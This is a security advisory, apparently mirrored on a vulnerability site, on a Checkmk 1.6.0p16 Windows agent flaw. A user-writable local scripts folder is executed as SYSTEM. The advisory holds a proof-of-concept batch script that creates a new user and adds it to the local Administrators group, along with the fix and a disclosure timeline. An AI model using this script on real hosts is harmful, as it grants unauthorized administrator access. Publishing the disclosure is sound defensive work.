Lucene search
K

Checkmk 1.6.0p16 Local Privilege Escalation Vulnerability

🗓️ 03 Oct 2020 00:00:00Reported by Thierry ViaccozType 
zdt
 zdt
🔗 0day.today👁 37 Views

Checkmk 1.6.0p16 Local Privilege Escalation Vulnerability. Locally exploitable by running arbitrary commands as SYSTEM and adding a new user to the local Administrators group

Code
################################################################################
#
# Product:  Checkmk
# Vendor:   tribe29 GmbH
# CSNC ID:  CSNC-2020-005
# Subject:  Local Privilege Escalation
# Risk:     High
# Effect:   Locally exploitable
# Authors:  Thierry Viaccoz <[email protected]>
# Date:     21.09.2020
#
################################################################################

Introduction:
-------------
Checkmk [1] is an IT infrastructure monitoring software. It is consists of a
management server querying the clients and of an agent installed on the
monitored systems.

Compass Security identified a local privilege escalation vulnerability,
allowing a user on a systems monitored by Checkmk to escalate its privileges to
become a local administrator.

Affected:
---------
Vulnerable:
 * Checkmk 1.6.0p16

Not vulnerable:
 * Checkmk 1.6.0p17

No other version was tested, but it is believed for the older versions to be
also vulnerable.

Technical Description:
----------------------
Generally, a standard user can read and write to more paths than it should,
thereby allowing it to access and modifiy sensitive information.

Every user logged in on a system monitored by Checkmk can write to the path
where scripts are stored. These are executed regularly by the agent as SYSTEM:
    C:\ProgramData\checkmk\agent\local>icacls .
    . NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
      BUILTIN\Administrators:(I)(OI)(CI)(F)
      CREATOR OWNER:(I)(OI)(CI)(IO)(F)
      BUILTIN\Users:(I)(OI)(CI)(RX)
      BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

This means that the user can execute arbitrary commands as SYSTEM and escalate
its privileges. As a proof of concept, the script
"C:\ProgramData\checkmk\agent\local\script.bat" with the following content was
created:
    @echo off
    echo 0 myservice - OK: Custom output
    whoami > C:\checkmk.txt
    net user /add compass [CUT]
    net localgroup Administrators compass /add

The script first writes the current user with "whoami" in the file
"C:\checkmk.txt", then creates the new user "compass" and finally adds it in
the local "Administrators" group.

After several minutes, the script gets triggered by the monitoring server
through the local agent and the file "C:\checkmk.txt" with the following
content is present:
    nt authority\system

This shows that the script was executed as SYSTEM. In addition, the new local
administrator "compass" is present on the system.

A local attacker can exploit this vulnerability to gain local administrative
privileges on any system monitored by Checkmk.

Workaround / Fix:
-----------------
Restrict the paths the users can read and write to the strict minimum in order
to prevent the scripts being tampered with and sensitive information like keys
to leak to unauthorized users. This was fixed by the publisher in [2].

As a Checkmk customer, update your installation to the latest version to
receive the fix.

Timeline:
---------
2020-08-19:     Discovery by Thierry Viaccoz
2020-08-24:     Initial vendor notification
2020-08-31:     Release of fixed version
2020-09-21:     Coordinated public disclosure date

References:
-----------
[1] https://checkmk.com/
[2] https://checkmk.com/check_mk-werks.php?werk_id=11460

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation